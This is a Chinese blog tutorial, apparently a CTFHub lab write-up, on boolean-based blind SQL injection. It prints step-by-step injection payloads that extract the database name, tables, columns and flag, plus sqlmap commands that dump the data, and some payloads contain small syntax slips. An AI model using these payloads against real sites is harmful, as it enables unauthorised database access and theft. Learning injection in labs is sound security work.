SQL(二)

本文详细介绍了SQL注入中的盲注概念,包括基于布尔类型和时间类型的盲注,以及如何在无显示位的情况下使用页面正常/不正常显示进行判断。文章还列举了手动注入、Python脚本注入和sqlmap工具的应用实例,展示了如何通过布尔盲注逐步获取数据库、表名、列名和字段信息。
摘要由CSDN通过智能技术生成

一:什么是盲注?

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

通俗的理解就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

二:盲注的类型?

1.基于布尔类型的盲注;

2.基于时间类型的盲注。

三:使用盲注的条件?

首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。

如果有回显位的话我们首选union联合查询。

五:基于布尔类型的盲注:

常用函数与语句

substr()函数

substr()函数是截取字符串的函数。

使用形式substr(string,start,length)

参数string :被截取的字符串

参数start :截取的起始位置

参数length :从截取位置截取的长度

length()函数 

length()函数是否返回一个字符串的长度。

使用形式为length(string)

参数string :为需要输出其长度的字符串。

ord()函数 

ord()函数是返回一个字符的ASCII码。

使用形式:ord(character)

参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。

#   substr(database(),1,1):表示从数据库的第1个字母开始,显示1个字母,从1开始计数

#   limit 0,1:表示从第0行开始,显示1行,从0开始计数

1.原理:
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

输入:?id=1' and 1=1 --+ 为真页面true

输入:?id=1' and 1=2 --+ 为假页面false

1.手注

2.python脚本注入

3.sqlmap工具注入

1.手动注入:

操作具体流程:
1.求当前数据库的长度以及ASCII
2.求当前数据库表的ASCII
3.求当前数据库表中的个数
4.求当前数据库表中其中一个表的表名长度
5.求当前数据库中其中一个表的表名的ASCII
6.求列名的数量
7.求列名的长度
8.求列名的ascii
9.求字段的数量
10.求字段内容的长度
11.求字段内容的ascii

例题:

输入1之后,页面有回显,百度回显的内容发现为布尔盲注

1.爆取库名长度:首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

输入:1 and length(database())=4,发现有回显,所以判断数据库长度为4(当然也可以尝试查询其他长度,但是都是报错的,没有回显:例如下面第二张图)

 

2.根据库名长度爆库名

获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

注意观察substr(database,i,1)
i从1开始(第i个字符)

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 (每个英文字母的大小写都有对应的ASCII值)

  1. ?id=1 and substr(database(),1,1)=‘a’
  2. #query_error
  3. ...
  4. ?id=1 and substr(database(),1,1)=‘s’
  5. #query_success
  6. #库名第一个字符是s
  7. ?id=1 and substr(database(),2,1)=‘s’
  8. #query_success
  9. #库名第二个字符是q
  10. ?id=1 and substr(database(),3,1)=‘l’
  11. #query_success
  12. #库名第三个字符是l
  13. ?id=1 and substr(database(),4,1)=‘i’
  14. #query_success
  15. #库名第四个字符是i
  16. #库名是sqli

分别执行以上的命令,结果如下:

3、对当前库爆表数量

下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
#query_error

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
#query_success
#当前库sqli有2张表

4、根据库名和表数量爆表名长度

得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度

注意观察limit i,1
i从0开始(第i+1张表)

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4

5、根据表名长度爆表名

再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

注意观察substr((select…limit i,1),j,1)
i从0开始(第i+1张表),j从1开始(第j个字符)

?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’
#query_success
#当前库sqli的第一张表表名第一个字符是n
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g

当然得一个个去爆表名的每个字符

#当前库sqli有两张表’news‘和‘flag’

这里分析一下表名——flag在第二张表flag里面,就不用对表news操作了

6、对表爆列数量

操作同对当前库爆表数量的步骤,只是要查询的表不同

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1
#query_error

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2
#query_success
#当前库sqli表flag的列数为2

7、根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

注意观察limit i,1
i从0开始(第i+1列)

?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第一列列名长度为4
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第二列列名长度为4

#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为2和4

8、根据列名长度爆列名

操作同对当前库爆表名的步骤,i是列标-1,j是字符下标

注意观察substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)

?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g

#当前库sqli表flag有两个列‘id’和‘flag’

9、根据列名爆数据

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

注意观察substr((select…),j,1)
j从1开始(flag的第j个字符)

?id=1 and substr((select flag from sqli.flag),1,1)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),1,1)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),i,1)=“}”
#query_success
#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值

#出循环即可得到flag

二:python脚本注入;

由于布尔盲注有大量重复的操作,手注极其繁琐且枯燥,这里给出使用Python编写的脚本完成布尔盲注

python脚本来源于:CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

此脚本只针对于本题,可能与其他题目不兼容
由于没有输入检测,输入没有flag的表和列,可能导致运行错误
由于盲猜是依次遍历,可以优化使用random函数或者是二分法改进算法

这里表名我们输入:flag

列名:flag

得出flag

三:sqlmap注入:(使用sqlmap工具)

1.获取当前使用的数据库

sqlmap -u 'http://xx/?id=1 --current-db

2.获取指定数据库中的数据表

sqlmap -u 'http://xx/?id=1 -D 'sqli' --tables

3.获取指定数据表中的数据列

sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' --columns

4.获取指定数据列中的所有字段

sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump

kali自带sqlmap工具,只需要在终端中输入:sqlmap

查库名:

sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" --dbs -batch

查表名:sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' table

查列:

sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' -columns

查字段:

sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' -C 'flag' --dump

最终会获得flag

(sqlmap运行太慢了......)

  • 29
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值